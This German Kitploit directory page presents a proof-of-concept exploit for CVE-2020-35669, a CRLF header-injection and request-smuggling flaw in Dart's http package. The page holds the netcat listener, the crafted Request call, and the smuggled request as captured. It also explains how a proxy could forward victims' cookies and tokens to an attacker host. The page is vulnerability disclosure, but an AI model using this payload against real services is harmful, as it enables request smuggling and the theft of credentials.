Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/n0npax/cve-2020-35669
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubn0npax/cve-2020-35669

CVE-2020-35669

Proof-of-Concept-Exploit für CVE-2020-35669, das HTTP-Request-Smuggling und Header-Injection im http-Paket von Dart über manipulierte Methodenparameter demonstriert und so Reverse-Proxy-Bypass sowie Host-Header-Manipulation ermöglicht.

Repository anzeigen
11vor 5 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2020-35669

Dummy-Server

Bitte starte den Dummy-Server im ersten Terminal

root@kitploit:~
sudo nc -l 127.0.0.1 80 

Den angegebenen Diff anwenden

root@kitploit:~
diff --git a/main.dart b/main.dart
index 8c78291..a46f4d0 100644
--- a/main.dart
+++ b/main.dart
@@ -4,7 +4,7 @@ import 'package:http/src/request.dart';
 void main() async {
   var r = Request(
       "GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
-      Uri(scheme: "http", path: "/llama", host: "google.com"));
+      Uri(scheme: "http", path: "/llama", host: "localhost"));
   var rs = await r.send();
   var resp = await Response.fromStream(rs);
   print('${resp.body}');

Dummy-App ausführen

Bitte führe main.dart im zweiten Terminal aus

root@kitploit:~
dart run main.dart

Ergebnis

nc sollte die angegebene Anfrage empfangen

root@kitploit:~
GET HTTP://EXAMPLE.COM/ HTTP/1.1
HOST: EXAMPLE.COM
LLAMA: /llama HTTP/1.1
user-agent: Dart/2.10 (dart:io)
accept-encoding: gzip
content-length: 0
host: localhost

Wichtiger Codeabschnitt

root@kitploit:~
  var r = Request(
      "GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
      Uri(scheme: "http", path: "/llama", host: "google.com"));
  var rs = await r.send();

Kritischer Pfad

Angenommen, der oben gezeigte diff wurde nicht angewendet und der Benutzer befindet sich hinter rev-proxy Die von example.com bereitgestellte Website wurde erreicht.

root@kitploit:~
dart run main.dart
<!doctype html>
<html>
<head>
    <title>Example Domain</title>

    <meta charset="utf-8" />
    ...
    ... blah blah blah
    ...

Warum dies ein Sicherheitsrisiko ist

Wenn der Entwickler Request verwendet, um das Erzeugen von HTTP-Aufrufen zu abstrahieren, und er einen Methodenparameter vom Benutzer akzeptiert, kann der Benutzer einiges anstellen, etwa Header-Injection oder Pfadfälschung. Dies kann auf viele Arten ausgenutzt werden und scheint besonders dann wichtig zu sein, wenn ein Reverse-Proxy im Einsatz ist. Ein Proxy könnte die Anfrage einer Person einfach an einen beliebigen Host weiterleiten, basierend auf dem host-Header. Nehmen wir an, ich ersetze example.com durch my-evil-uservice.org und das Opfer arbeitet in einem Unternehmen hinter dem Proxy. Das bedeutet, ich kann Aufrufe mit Headern/Cookies (Tokens) umleiten und so weiter. Dadurch können Aufrufe mit allen Headern/Cookies gestohlen werden.

Tool herunterladen